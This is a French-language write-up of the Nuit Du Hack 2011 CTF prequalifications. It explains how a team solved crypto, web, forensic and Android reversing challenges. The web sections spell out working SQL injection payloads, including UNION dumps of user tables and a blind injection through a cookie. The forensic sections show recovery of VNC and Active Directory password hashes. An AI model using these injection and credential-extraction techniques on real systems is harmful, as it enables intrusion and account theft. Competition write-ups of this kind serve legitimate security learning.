avr 11
4
Writeup préqualifications NDH 2k11

Ce week-end et ce durant 48 heures, a eu lieu les pré-qualifications pour le CTF de la Nuit Du Hack 2011. Plus de 237 équipes se sont inscrites afin de se confronter autour de 12 épreuves regroupées dans 4 domaines à savoir :
- La Cryptographie ;
- L’analyse forensique ;
- Les vulnérabilités Web ;
- La retro-ingénierie.
Chaque équipe se voyait attribuer des points pour chaque épreuve résolue (variable suivant la difficulté) incluant un bonus pour l’équipe ayant résolu en premier l’épreuve.
J’ai participé à ce CTF avec l’équipe Zenk-Security (nico34, Kr0ch0u, bufferoverfl0w, joanelis, Le_Malade, shp, ezano, Tr00ps, Saiketsu, strepoetlo, Debaser, et moi-même).
Bien qu’ayant commencé pas trop mal, nous avons fini à la 20ème place avec 8 épreuves sur 12 réussies.
Voici donc le Writeup écrit par nico34, Kr0ch0u, Debaser, bufferoverfl0w (gros bisous de poneys à eux) et moi-même, suivi de liens vers d’autres solutions.
!!! Here We Go !!!!
1) CRYTPO100
Dans un premier temps, il fallait reconnaitre le chiffrement. En analysant un peu, nous avons remarqué que certaines lettres et ponctuations revenaient assez régulièrement. L’habitude des CTF a fait que nous avons tout de suite pensé à du Vigenère (assez classique) :
NFPTF WAWMG SSCQY AMG CDCI, WIT TWFAIEVLAUHG GYGMICMWHI GFPZMUHCK KPLGL ZWHTRRVPA RRE, LPCT GPH JBDRTWZ ZMFWJ GPVIWMK. OAXIKJQIF PVA CXEFI KUEMVP PXWHO, ESCV JTZSGJW MQSCTGCKC SNW DYKWXTZV AZMFVZOJX, BPUMY BYJ GB MXVCD, KPZBL JSWXPZUPA PNELQ SBOX. WMMEIEFPAWR UTCAXFTWIOT PVEACW NTTS JM. ALWKU RSEXHTPVU VQI LOAMWH TVRV BB, XVPTGSNBE PGLTQ RNPYYNO, ZB PM DSEKYAPLU HZGH CK CABH, XEYHP HFPLK ERPVYC OSYIFUIMJ GA CVAC, DMCMSD IM MTH. CGJBYF ORSGBG DGWFTVZUXCI FKK NTWS DIV YI, WLUWMRQKJQT NH QIJGTRKWT AGRNVPXLEFI, WN SMTVBUWG XFJJMDLX VCVRZUZQQ NPKC CNBN QGFAMJ, GYIX FGD GS KWDYK GPYIKZ. XVBKE NGHWY, SVCD RVE WPEEGKPP GCY, TJYIMLO WWVGC DCING ASJNP EIEB QH QQCMG, VCCTGLXW CGV, NVVPXGAEO L…
On insère notre chiffré sur le site suivant : http://smurfoncrack.com/pygenere/pygenere.php
En insérant une clé de 1-18 et en choisissant la langue française, le site nous indiquait la valeur de cette clé qui n’était autre que le flag permettant de valider l’épreuve :
2) WEB100
Dans cette épreuve, nous avons accès à une page Web qui nous demande un couple login/password :
http://wtfbbq.prequals.nuitduhack.com/
Plus bas nous avons accès à une page permettant de s’enregistrer :
http://wtfbbq.prequals.nuitduhack.com/inscription.php
Nous devons créer un compte afin d’accéder à l’espace membre qui, après nous être connecté, nous affiche ceci :
L’astuce ici est qu’il faut s’apercevoir que lorsque l’on utilise l’option « Remember Me » de la page de connexion, nous pouvons voir qu’un cookie du nom de « user_cookies » se forme ayant pour contenu un code en base64 : YToyOntpOjA7czozMjoiZTEwYWRjMzk0OWJhNTlhYmJlNTZlMDU3ZjIwZjg4M2UiO2k6MTtzOjc6IndyaXRldXAiO30
En décodant ce base64, nous obtenons ceci :
a:2:{i:0;s:32: »e10adc3949ba59abbe56e057f20f883e »;i:1;s:7: »writeup »;}
De là, il est nécessaire reconnaitre la fonction serialize de PHP. La sortie nous indique :
- a:2: : un tableau de deux éléments ;
- i:0 : le premier élément du tableau ;
- s:32: »e10adc3949ba59abbe56e057f20f883e » : la longueur du premier élément puis sa valeur; ici le hash md5 du password « 123456″ ;
- i:1 : le deuxième élément du tableau ;
- s:7 : »writeup » : la longueur du deuxième élément puis sa valeur; ici le login « writeup » ;
En essayant de comprendre le code qui tournait derrière, nous en avons conclu qu’il reprenait ce cookie pour faire une comparaison avec le vrai password. Or si nous retournons un booléen de type true, la comparaison sera forcément vrai et nous pourrons nous connecter sur n’importe quel compte.
Après avoir testé les différents comptes (admin,administrateur,administrateur,root…), nous avons trouvé qu’une injection sql était possible via le deuxième élément de fonction serialize, c’est à dire le login.
Voici un script permettant d’automatiser l’injection : Web100_sqli.php
Rapidement nous plaçons nos injections en paramètres :
$ php injection.php « -4′ORDER BY 7# »
$ php injection.php « -4′union all select 0,0,group_concat(schema_name),0,0,0 from information_schema.schemata# »
$ php injection.php « -4′union all select 0,0,group_concat(table_name),0,0,0 from information_schema.tables where table_schema=’prequals_web1′# »
$ php injection.php « -4′union all select 0,0,group_concat(column_name),0,0,0 from information_schema.columns where table_name=’utilisateurs’# »
$ php injection.php « -4′union all select 0,0,group_concat(id_user,0x3a,login,0x3a,pass,0x3a,nom,0x3a,prenom,0x3a,privilege),0,0,0 from utilisateurs
where privilege!=’user’# »
W00t, on a le compte admin
3) WEB200
Cette épreuve était assez amusante car elle nous rappelait la bonne vieille image de drop database des radars fixe :
Dans cette épreuve, nous accédons à une page comprenant un formulaire d’upload :
Après plusieurs tentatives, nous nous sommes rendu compte que la source était disponible à l’adresse suivante :
http://ziggyzag.prequals.nuitduhack.com/form.php~
À l’heure actuelle nous ne savons pas si cette erreur était voulue ou non car le lien n’est plus accessible. Néanmoins, nous avons pensé à faire un backup de la source qui est accessible ici.
EDIT : d’après le staff, ces fichiers temporaires sont apparus après la restauration du backup des épreuves : voir l’explication.
Le code convertit l’image en .tif puis récupère le texte présent à l’aide de tesseract.
La requête SQL n’étant pas protégée, nous avons injecté des requêtes via les images suivantes :
List of infractions found for: ‘OR’1′=1– -
* Pissed on the motorway
* Showed ass to police
* 200kmh in town
* 5g/L !!!
* No driving license
* No seatbelt
* Incorrect usage of car
* Driver error
* Too old to drive
* almost..
* Parking in a handicap spot !
* Biking on motorway..
* Prostitute assault on Paris ring road
* Racing on the motorway is forbidden !
* insane driving !! WTF ??!!
* Thinks he’s in Need for speed
* Laughing at policemen!!!
Tiens, on a réussi à dumper tous les commentaires des images. Continuons donc dans notre lancée en injectant des requêtes permettant de récuperer le contenu des tables, colonnes, etc.
Après un ‘UNION SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES where ‘x’='x nous obtenons la table : POWN3D
Pour finir, en injectant l’image suivante, nous avons obtenu le flag :
4) WEB300
Dans cette épreuve, nous avons accès à une page web qui nous demandait le traditionnel couple login/password ainsi qu’un captcha :
http://ownm3.prequals.nuitduhack.com/
Après quelques tests, on remarque une vulnérabilité de type « full path disclosure » en mettant les paramètres suivants dans une requette POST :
user=a&pass[]=b&userCode=c&connexion=Log+in
Dans le champ password, nous obtenons :
<input type= »password » value= »Warning: trim() expects parameter 1 to be string, array given in /var/www/web300/index.php on line 71″ name= »pass »>
Mais osef, c’est useless
et après quelques autres tests, on suppose qu’il n’y a pas de SQLi dans le formulaire.
Parallèlement, on essaie de comprendre comment le captcha est généré.
Un code javascript permet de recharger le captcha :
onclick= »document.images.captcha.src=’captcha.php?id=’+Math.round(Math.random(0)*1000)+1″
On se concentre alors sur la page suivante en jouant avec le paramètre GET id :
http://ownm3.prequals.nuitduhack.com/captcha.php?id=1
Il ne semble pas être possible de faire une injection sur celui-ci. De plus, deux appels consécutifs à cette page avec le même id rendent des images captcha différentes.
Nous constatons qu’une variable pac est stockée à chaque requête dans nos cookies, avec ce qui semblerait être un hash md5.
Nous découvrons également que le cookie pac semble être utilisé au niveau de la page captcha.php dans une requête SQL, et qu’une injection est possible.
En ajoutant une quote et une requête SQL AND on a droit a une jolie Blind SQLi
pac=a2b66be9d4f02051320c97da8bebab25′ and ’1′=’1
est une condition VRAIE et l’image du captcha contient un texte aléatoire de 5 caractères.
pac=a2b66be9d4f02051320c97da8bebab25′ and ’1′=’0
est une condition FAUSSE et l’image du captcha contient le texte ERROR !
Nous allons donc pouvoir utiliser cette injection pour dumper les tables, en se basant sur une analyse OCR de l’image reçue.
Après quelques tentatives infructueuses de reverse du md5 du cookie pac sur différents sites, strepoetlo nous conseille le site :
http://www.md5decrypter.co.uk/ qui nous donne des résultats du type suivant :
a2b66be9d4f02051320c97da8bebab25 MD5 : U4F4B
Merveille ! on constate que le MD5 correspond au texte affiché dans le captcha.
On est donc heureux d’apprendre que l’on n’a pas à faire d’ocr pour savoir quel est le texte du captcha. En cas de condition FAUSSE dans notre Blind SQLi, le serveur retourne une image contenant le texte ERROR et le cookie pac contient le hash MD5 de la string ERROR :
pac=cb5e100e5a9a3e7f6d1fd97512215282
A l’inverse, une condition VRAIE contiendra un cookie différent.
Blind SQL Injection
On applique les techniques de base des Blind SQL Injections sur MySQL :
- par dichotomie, on retrouve la longueur de la variable @@version ;
- on récupère les caractères de la variable @@version un à un en itérant sur la fonction ASCII(SUBSTRING(@@version, idx, 1)).
Pour récupérer le code ASCII de chaque caractère, on procède encore par dichotomie (charset ASCII entre 0 et 128, soient 8-9 itérations par caractères).
A ce moment, on se rend compte que le serveur lag vraiment et que si l’on souhaite dumper l’intégralité de la base de donnée, on risque de dépasser la fin de la prequal ^_^.
On essaie alors d’optimiser notre script en utilisant une technique sympa, partagée quelques jours avant par mortis.
Les versions de MySQL supérieures à 5 (cela tombe bien, c’est le cas ici) possède un opérateur bitwise shift right ( >> ).
On sait que le charset ASCII utilise 7 bits, le huitième est à 0. Si on test chaque caractère bit à bit, on gagne une itération par caractère, et mine de rien, ce n’est pas négligeable !
def shr(function):
« »"
Using function(idx, val) as oracle saying if the idx-shifted value of
ascii code is equal to val, shr finds this code.
@param function oracle that says if idx-shifted value of ascii
code is equals to val
@return character
« »"
val = 0;
idxList = range(7);
idxList.reverse();
for idx in l:
if function(idx, val) != True: # sql >> idx != val => sql >> idx = v
val += 1
if idx != 0:
val <<= 1;
return chr(val);
On commence alors a dumper le nom des tables avec une jolie injection (SELECT table_name from information_schema.tables where table_schema=DATABASE() limit idx, 1) en utilisant cette technique.
On arrete le script au deuxième resultat :
table[0] => codes
table[1] => login
On récupère (avec la méthode dichotomique) le nombre de colonnes que possède la table ‘login‘. On trouve 3. Au lieu de dumper tous les caractères de toutes les colonnes ‘column_name‘ de la table ‘information_schema.columns‘, on va bruteforcer le nom des colonnes.
nico34 nous donne un dictionnaire de 254 entrées, qui semble suffisant pour trouver les trois colonnes :
id
user
pass
Bingo ! On dump les valeurs des colonnes « user » et « pass » pour id=0.
On voit que la colonne user contient la valeur hackme, c’est bon signe, non ?
Il ne reste plus qu’à appliquer le même principe sur le mot de passe et c’est gagné (comme le dit si bien notre chère et tendre Dora l’exploratrice >_<).
Extraits des codes utiles (ou pas) à l’épreuve :
http://paste.braindead.fr/index.php/view/61182337 : orc, pas utile pour valider, mais on l’a écrit avant de trouver l’astuce sur la correspondance md5 / texte affiché dans le captcha.
http://paste.braindead.fr/index.php/view/99510748 : code de l’exploit final.
Article utile sur les blind SQLi :
http://ghostsinthestack.org/article-11-blind-sql-injections.html
/*
* —————————————————————————-
* « THE BEER-WARE LICENSE » (Revision 42):
* <phk@FreeBSD.ORG> wrote this file. As long as you retain this notice you
* can do whatever you want with this stuff. If we meet some day, and you think
* this stuff is worth it, you can buy me a beer in return Poul-Henning Kamp
* —————————————————————————-
*/
5)FORENSIC100
Nous avons dans cette épreuve une archive « dump.zip » contenant les fichiers « dump.raw » et « README » nous indiquant le but de l’épreuve :
===
On a dumpé la RAM d’une machine sur laquelle tournait un serveur VNC. Le but est de recupérer le mot de passe de ce serveur.
===
Essayons d’analyser ce dump via l’outil Volatility :
$python vol.py -f dump.raw imageinfo
Volatile Systems Volatility Framework 1.4_rc1
Suggested Profile(s) : WinXPSP3x86, WinXPSP2x86
AS Layer1 : JKIA32PagedMemoryPae (Kernel AS)
AS Layer2 : FileAddressSpace (/home/user/tmp/ndh/forensic1/forensic100/Desktop/Volatility-1.4_rc1/dump.raw)
PAE type : No PAE
DTB : 0xae2000
KDBG : 0x80544ce0L
KPCR : 0xffdff000L
KUSER_SHARED_DATA : 0xffdf0000L
Image date and time : 2011-03-10 13:28:56
Image local date and time : 2011-03-10 13:28:56
Image Type : Service Pack 2
Nous voyons que la RAM provient d’un système Windows XP. Regardons maintenant la liste des processus :
$python vol.py -f dump.raw pslist
Volatile Systems Volatility Framework 1.4_rc1
Offset(V) Name PID PPID Thds Hnds Time
———- ——————– —— —— —— —— ——————-
0x821c8830 System 4 0 53 258 1970-01-01 00:00:00
0x81e356d8 smss.exe 544 4 3 21 2011-03-10 13:02:27
0x81e216e8 csrss.exe 608 544 11 319 2011-03-10 13:02:29
0x820ac9c0 winlogon.exe 632 544 19 440 2011-03-10 13:02:29
0x821365b0 services.exe 684 632 16 338 2011-03-10 13:02:30
0x81bce938 lsass.exe 696 632 19 328 2011-03-10 13:02:30
0×82029720 svchost.exe 860 684 17 210 2011-03-10 13:02:31
0x81bd1500 svchost.exe 928 684 9 232 2011-03-10 13:02:31
0x81bf4020 svchost.exe 1020 684 59 1148 2011-03-10 13:02:31
0x81e123c0 svchost.exe 1064 684 4 74 2011-03-10 13:02:31
0x820df548 svchost.exe 1300 684 14 203 2011-03-10 13:02:33
0x81c1d7e8 spoolsv.exe 1472 684 10 108 2011-03-10 13:02:34
0x81fcf620 explorer.exe 1580 1564 11 446 2011-03-10 13:02:34
0x81bb0020 ctfmon.exe 1664 1580 1 66 2011-03-10 13:02:35
0x81d92020 alg.exe 500 684 6 104 2011-03-10 13:02:58
0x81be8020 wscntfy.exe 532 1020 1 36 2011-03-10 13:02:59
0x81dea980 winvnc4.exe 1696 684 3 67 2011-03-10 13:09:47
0x81f94da0 mmc.exe 1512 1580 7 241 2011-03-10 13:28:14
0x81deb558 wmiprvse.exe 1460 860 13 204 2011-03-10 13:28:33
Nous voyons ici notre beau processus winvnc4.exe avec un pid 1696.
En recherchant sur notre meilleur ami (après Lassie), on apprend que VNC stock les mots de passe dans des clés registre. Voyons cela :
$python vol.py -f dump.raw regobjkeys -p 1696
Volatile Systems Volatility Framework 1.4_rc1
Offset(V) Type Pid: 1696
0xe1d64140 Key MACHINE
0xe10f5a48 Key MACHINE\SOFTWARE\REALVNC\WINVNC4
0xe1bb4020 Key MACHINE\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9
0xe19fd500 Key MACHINE\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\NAMESPACE_CATALOG5
0xe1a28480 Key USER
Continuons…
$python vol.py printkey -f dump.raw -K ‘MACHINE\SOFTWARE\REALVNC\WINVNC4′
Volatile Systems Volatility Framework 1.4_rc1
Legend: (S) = Stable (V) = Volatile
The requested key could not be found in the hive(s) searched
Registry: \Device\HarddiskVolume1\WINDOWS\system32\config\software
Key name: WinVNC4 (S)
Last updated: 2011-03-10 13:10:51
Subkeys:
Values:
REG_BINARY Password : (S)
0000 DA 6E 31 84 95 77 AD 6B .n1..w.k
REG_SZ SecurityTypes : (S) VncAuth
REG_SZ ReverseSecurityTypes : (S) None
REG_DWORD QueryConnect : (S) 0
REG_DWORD QueryOnlyIfLoggedOn : (S) 0
Yeah, nous avons le mot de passe en REG_BINARY, trouvons un moyen pour l’avoir en clair (merci google) :
http://packetstormsecurity.org/Crackers/vncdec.c
Après avoir compilé et lancé ce code, nous obtenons : secretpq
6)FORENSIC200
Le fichier README nous indique la chose suivante :
==
On a dumpé le fichier ntds.dit d’une machine exécutant un Active Directory. Il faut recuperer le mot de passe du compte john.
==
Prenons notre pelle (plus rapide qu’un poney selon kr0ch0u) Google afin de trouver quelques informations sur la manière dont lire ou insérer notre fichier sur un serveur Windows.
On tombe rapidement sur un article nous indiquant la manière dont charger notre fichier sur un Active Directory offline (windows 2008 server).
N’ayant pas de 2008 sous la main, kr0ch0u a commencé à le télécharger mais voyant que cela allez prendre des heures, nous avons abandonné cette idée.
C’est à ce moment qu’un Monsieur du pseudo de Joanelis nous indique que c’est bon, il a obtenu les hash via « passcap » :
Administrateur:500:NO PASSWORD*********************:726a36acb62f51ecee698e66fc118683:Compte d’utilisateur d’administration:
Administrateur:500:aad3b435b51404eeaad3b435b51404ee:NO PASSWORD*********************:LM history hash:
Administrateur:500:NO PASSWORD*********************:726a36acb62f51ecee698e66fc118683:NT history hash:
Administrateur:500:NO PASSWORD*********************:fbbf55d0ef0e34d39593f55c5f2ca5f2:NT history hash:
Invit?:501:NO PASSWORD*********************:NO PASSWORD*********************:Compte d’utilisateur invit?:
SUPPORT_388945a0:1001:NO PASSWORD*********************:30d4a2ef16deff366bd4b9f010b1bd26:Ceci est le compte d’un fournisseur pour les service Aide et support:
SYSDREAM-TTXW4P$:1005:NO PASSWORD*********************:6580b1de7daec96c9d98dbcd2f63f527::
krbtgt:502:NO PASSWORD*********************:b316ba9fe983951bfae8262757aa6f18:Compte de service du centre de distribution de cl?s:
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:NO PASSWORD*********************:LM history hash:
krbtgt:502:NO PASSWORD*********************:b316ba9fe983951bfae8262757aa6f18:NT history hash:
john:1108:615a367ca6280c40b4c08420b3143e50:3fb89706895e92798aeda7a399a6c417::
john:1108:615a367ca6280c40b4c08420b3143e50:NO PASSWORD*********************:LM history hash:
john:1108:NO PASSWORD*********************:3fb89706895e92798aeda7a399a6c417:NT history hash:
Balançons un coup de john sur john ^_^
Apres quelques heures on arrive enfin a trouver le clair : TGYD7OE25G
Malheureusement, ceci n’est pas le flag permettant de valider l’épreuve !
Testons avec « Cain« … un petit coup de magie vaudou et hop : TgYD7oE25g
7)FORENSIC300
Dans l’intitulé de l’épreuve, on nous parle d’un ministère ayant été attaqué et que notre but est de comprendre ce qui s’est passé.
On nous donne une archive zip contenant « DumpRAM_CTF.vmem » (on sait qu’il s’agit de la RAM a analyser).
Reprenons donc notre Volatility :
$python vol.py -f DumpRAM_CTF.vmem imageinfo
Suggested Profile(s) : Win7SP1x86, Win7SP0x86
AS Layer1 : JKIA32PagedMemoryPae (Kernel AS)
AS Layer2 : FileAddressSpace (/home/user/tmp/ndh/forensic1/forensic100/Desktop/Volatility-1.4_rc1/DumpRAM_CTF.vmem)
PAE type : No PAE
DTB : 0×185000
KDBG : 0x8276ebe8L
KPCR : 0x8276fc00L
KUSER_SHARED_DATA : 0xffdf0000L
Image date and time : 2011-03-31 14:41:00
Image local date and time : 2011-03-31 14:41:00
Image Type :
Cette fois-ci, nous avons du Windows 7 …
Voyons du côté des processus :
$python vol.py -f DumpRAM_CTF.vmem –profile=Win7SP1x86 pslist
WARNING : volatility.obj : Unable to find a type for pointer64, assuming int
Offset(V) Name PID PPID Thds Hnds Time
———- ——————– —— —— —— —— ——————-
0x839af898 System 4 0 70 434 2011-03-31 14:38:10
0x84c01d40 smss.exe 216 4 2 29 2011-03-31 14:38:10
0x84ea8030 csrss.exe 304 296 8 310 2011-03-31 14:38:18
0x84688d40 wininit.exe 340 296 3 79 2011-03-31 14:38:19
0x84f23d40 csrss.exe 352 332 7 169 2011-03-31 14:38:19
0x84f8f098 winlogon.exe 392 332 4 112 2011-03-31 14:38:20
0x84fa8b20 services.exe 416 340 9 185 2011-03-31 14:38:20
0x84fb4030 lsass.exe 424 340 8 462 2011-03-31 14:38:21
0x84fb6030 lsm.exe 432 340 10 141 2011-03-31 14:38:21
0x84fd9bc0 svchost.exe 556 416 13 354 2011-03-31 14:38:23
0×85031158 svchost.exe 632 416 7 218 2011-03-31 14:38:24
0x851757e0 svchost.exe 676 416 20 408 2011-03-31 14:38:25
0x851d5030 svchost.exe 800 416 19 401 2011-03-31 14:38:28
0x851d06a8 svchost.exe 832 416 34 902 2011-03-31 14:38:28
0×85204620 svchost.exe 944 416 13 265 2011-03-31 14:38:29
0x847ced40 dwm.exe 1080 800 4 70 2011-03-31 14:38:31
0x8521c030 svchost.exe 1140 416 16 365 2011-03-31 14:38:32
0x852519e8 spoolsv.exe 1276 416 14 281 2011-03-31 14:38:34
0x8525e910 svchost.exe 1312 416 22 311 2011-03-31 14:38:34
0x85266d40 taskhost.exe 1324 416 11 166 2011-03-31 14:38:34
0x8529d4f0 sppsvc.exe 1664 416 4 146 2011-03-31 14:38:39
0x848a7030 explorer.exe 2004 1992 24 591 2011-03-31 14:38:55
0x84e9f6c8 rundll32.exe 356 300 4 66 2011-03-31 14:38:57
0×85380030 rundll32.exe 500 332 4 66 2011-03-31 14:38:57
0×85389478 rundll32.exe 496 504 4 67 2011-03-31 14:38:58
0x84df1b70 SearchIndexer. 1528 416 14 605 2011-03-31 14:39:05
0x839d7830 cmd.exe 1392 2004 1 23 2011-03-31 14:39:39
0x8517c800 conhost.exe 1380 352 3 57 2011-03-31 14:39:40
0x853ebb30 mscorsvw.exe 188 416 6 77 2011-03-31 14:40:38
0x853ea030 svchost.exe 668 416 13 315 2011-03-31 14:40:40
0x83ace030 nc.exe 1720 1392 2 72 2011-03-31 14:40:41
Le fichier nc.exe nous a paru intéressant. Commençons donc par le dumper et voyons ce que ça donne dans un éditeur hexadécimal :
$python vol.py -f DumpRAM_CTF.vmem –profile=Win7SP1x86 -p 1720 procmemdump -D out/
WARNING : volatility.obj : Unable to find a type for pointer64, assuming int
************************************************************************
Dumping nc.exe, pid: 1720 output: executable.1720.exe
En parcourant l’hexa, nous sommes tombés sur le flag suivant : Secret pass is H4x0r.
Malheureusement, c’était un faux flag.
Continuons en regardant du côté des connexions :
$python vol.py -f DumpRAM_CTF.vmem –profile=Win7SP1x86 netscan
Offset Proto Local Address Foreign Address State Pid Owner Created
WARNING : volatility.obj : Unable to find a type for pointer64, assuming int
0x1e4f5930 TCPv4 0.0.0.0:49156 0.0.0.0:0 LISTENING 416 services.exe
0x1e4f5930 TCPv6 :::49156 :::0 LISTENING 416 services.exe
0x1e757008 TCPv4 192.168.163.216:139 0.0.0.0:0 LISTENING 4 System
0x1e764b88 TCPv4 0.0.0.0:135 0.0.0.0:0 LISTENING 632 svchost.exe
0x1e764b88 TCPv6 :::135 :::0 LISTENING 632 svchost.exe
0x1e76ca58 TCPv4 0.0.0.0:135 0.0.0.0:0 LISTENING 632 svchost.exe
0x1e76ebc8 TCPv4 0.0.0.0:49152 0.0.0.0:0 LISTENING 340 wininit.exe
0x1e76ebc8 TCPv6 :::49152 :::0 LISTENING 340 wininit.exe
0x1e7872f0 TCPv4 0.0.0.0:49152 0.0.0.0:0 LISTENING 340 wininit.exe
0x1e7ca9b0 TCPv4 0.0.0.0:49153 0.0.0.0:0 LISTENING 676 svchost.exe
0x1e7ca9b0 TCPv6 :::49153 :::0 LISTENING 676 svchost.exe
0x1e7caf60 TCPv4 0.0.0.0:49153 0.0.0.0:0 LISTENING 676 svchost.exe
0x1eea5f60 TCPv4 0.0.0.0:49155 0.0.0.0:0 LISTENING 832 svchost.exe
0x1eea5f60 TCPv6 :::49155 :::0 LISTENING 832 svchost.exe
0x1eea6f60 TCPv4 0.0.0.0:49155 0.0.0.0:0 LISTENING 832 svchost.exe
0x1f07fcc0 TCPv4 0.0.0.0:49154 0.0.0.0:0 LISTENING 424 lsass.exe
0x1f080f60 TCPv4 0.0.0.0:49154 0.0.0.0:0 LISTENING 424 lsass.exe
0x1f080f60 TCPv6 :::49154 :::0 LISTENING 424 lsass.exe
0x1fc482d0 TCPv4 0.0.0.0:49156 0.0.0.0:0 LISTENING 416 services.exe
0x1fc49560 TCPv4 0.0.0.0:445 0.0.0.0:0 LISTENING 4 System
0x1fc49560 TCPv6 :::445 :::0 LISTENING 4 System
0x1f086df8 TCPv4 192.168.163.216:49158 88.190.230.12:48625 ESTABLISHED 1720 nc.exe
0x1e608d30 UDPv4 0.0.0.0:5355 *:* 1140 svchost.exe 2011-03-31 14:38:55
0x1e60d378 UDPv4 0.0.0.0:0 *:* 1140 svchost.exe 2011-03-31 14:38:55
0x1e60d378 UDPv6 :::0 *:* 1140 svchost.exe 2011-03-31 14:38:55
0x1e633198 UDPv4 192.168.163.216:137 *:* 4 System 2011-03-31 14:38:46
0x1e75a178 UDPv4 192.168.163.216:138 *:* 4 System 2011-03-31 14:38:46
0x1e7c6198 UDPv4 0.0.0.0:5355 *:* 1140 svchost.exe 2011-03-31 14:38:55
0x1e7c6198 UDPv6 :::5355 *:* 1140 svchost.exe 2011-03-31 14:38:55
Tiens, notre nc.exe est connecté a l’adresse IP « 88.190.230.12 » sur le port « 48625 » , passons donc leur faire un petit coucou
$nc 88.190.230.12 48625
Secret pass is H4x0r
Nice job!
The hash is 9vjgH368$hgHGjh.
8)RCE200
L’archive de cette épreuve contient le fichier « RCE.APK » pouvant être dézippé au moyen de unzip.
Plusieurs fichiers dont un .dex étaient présents en sortie.
Prenons donc l’utilitaire « dex2jar » afin de transformer comme son nom l’indique le .dex en .jar.
Décompilons maintenant ce .jar avec « jd-gui » :
Nous pouvons observer 4 classes : reverseme, a, b, c.
Voyons ce que contient la dernière :
Nous pouvons voir qu’il y a plusieurs chaînes obfusquées par un XOR avec une clé de 0x3C. Lançons le code java suivant afin de récupérer les chaînes désobfusquées :
Ok, cassons le MD5 que nous obtenons en sortie « f9dd11ff6857af73ac9a944dfc52f41b« , ce qui nous donne le clair suivant : « salo**«
L’application ayant été installée sur mon téléphone, elle attendait qu’on lui donne ce mot de passe de vive voix. J’ai donc crié comme un dératé le mot « salo… », ma chérie me prenant surement pour un fou (merci Virtu, je retiens !!!).
Malheureusement, chez moi, l’application n’a rien voulue savoir. Mais ce n’était pas bien grave car le flag était simplement le SHA-1 du mot en question
913beccad686975f8c686d9b3b1ee6bb97c22d6f
Voilà que se termine notre petit Writeup.
En tout cas c’était bien sympathique même si nous n’avons pas réussi 4 épreuves (2 crypto et 2 RCE) parmi les 12 proposées. J’espère qu’il y aura assez de désistement pour que l’on puisse tout de même participer au CTF de la Nuit Du Hack
Merci encore à la Team Zenk !
Liste de WRITEUPS
Backup des épreuves : http://repo.shell-storm.org/CTF/NDH2K11-prequals/
Résumé côté organisateurs : http://crashfr.thehackademy.net/resume-prequals-nuit-du-hack-2011
Disekt Writeup : http://disekt.inetric.com/taxonomy/term/68
Smoked Chicken Writeup : http://smokedchicken.org/m/mt-search.cgi?search=Nuit+Du+Hack&IncludeBlogs=1&limit=20
404NameNotF0und Writeup : http://blog.w3challs.com/index.php?post/2011/04/05/NDH2k11-Prequals-Compte-Rendu-!#prequals
RCE200 : http://binholic.blogspot.com/2011/04/prequals-ndh2011-rce200-android.html
FORENSIC100 : http://binholic.blogspot.com/2011/04/prequals-ndh2011-forensic-1-windows.html
CRYPTO300 : http://leetmore.ctf.su/wp/nuit-du-hack-2011-ctf-crypto-300/
CRYPTO300 : http://auntitled.blogspot.com/2011/04/nuit-du-hack-ctf-2011-crypto-300.html





